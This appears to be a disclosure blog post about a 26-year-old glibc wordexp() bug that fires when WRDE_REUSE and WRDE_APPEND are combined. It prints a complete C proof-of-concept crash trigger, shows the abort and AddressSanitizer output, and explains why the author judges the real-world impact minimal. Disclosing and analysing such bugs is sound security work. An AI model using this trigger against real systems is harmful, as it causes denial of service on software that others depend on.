26 Years. Two Struct Fields.
glibc wordexp() Memory Bug

I found a memory initialization flaw in glibc's wordexp() function through fuzzing with libFuzzer and AddressSanitizer. The bug has existed since glibc 2.0 - 26 years of code that never properly handled a specific flag combination.

The vulnerability triggers when wordexp() is called with both WRDE_REUSE and WRDE_APPEND flags. The function fails to reset the we_wordc field, causing it to write results at the wrong offset in the word vector array.

What is wordexp()?

wordexp() is a POSIX function that performs shell-like word expansion:

• Tilde expansion (~user -> /home/user)
• Variable expansion ($HOME -> /home/user)
• Command substitution (when not disabled)
• Glob patterns (*.txt)

The WRDE_REUSE flag tells it to reuse memory from a previous call. WRDE_APPEND tells it to append new results to existing ones.

The Twist

Here's the interesting part: according to the glibc maintainers, this flag combination never worked correctly. From the advisory:

"Calls to wordexp using WRDE_REUSE and WRDE_APPEND have never worked correctly"

So while the bug is real and spans 26 years, any application that tried to use this feature would have broken immediately. The practical impact is minimal because nobody could have successfully depended on this broken codepath.

Here's the minimal trigger that crashes glibc 2.0 through 2.42:

/*
* minimal_trigger.c - CVE-2025-15281 PoC
* Build: gcc -fsanitize=address -o poc minimal_trigger.c
*/
#include <string.h>
#include <wordexp.h>

int main(void) {
  char trigger[] = "\xf3\xf3\xf3\x00" "cccz]\"";
  wordexp_t p = {0};
  int flags = WRDE_NOCMD | WRDE_APPEND;

  wordexp(trigger, &p, flags);
  wordfree(&p);

  memset(&p, 0, sizeof(p));
  wordexp(trigger, &p, flags);
  wordexp(trigger + 1, &p, flags | WRDE_REUSE);  /* CRASH */

  wordfree(&p);
  return 0;
}

What Happens

Without sanitizers:

free(): invalid pointer
Aborted (core dumped)

With AddressSanitizer:

==PID==ERROR: AddressSanitizer: SEGV on unknown address
The signal is caused by a READ memory access.
    #0 in wordexp

The uninitialized pointers in we_wordv contain garbage values that crash when accessed.

CVSS Score: 7.5 HIGH

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Real-World Impact: Minimal

The glibc maintainers explicitly noted:

"There is no known application impact for this CVE, and the feature is generally non-functional"

The WRDE_REUSE + WRDE_APPEND combination never worked correctly. Any application that tried to use it would have discovered the bug immediately through failures. This is a case where a 26-year-old bug had no real-world impact because the broken code path was unusable.

Who's Actually Affected?

Realistically: probably nobody. The conditions required are:

1. Application uses wordexp() with untrusted input
2. Application uses both WRDE_REUSE and WRDE_APPEND flags
3. Application somehow worked despite this combination being broken

That's a narrow intersection.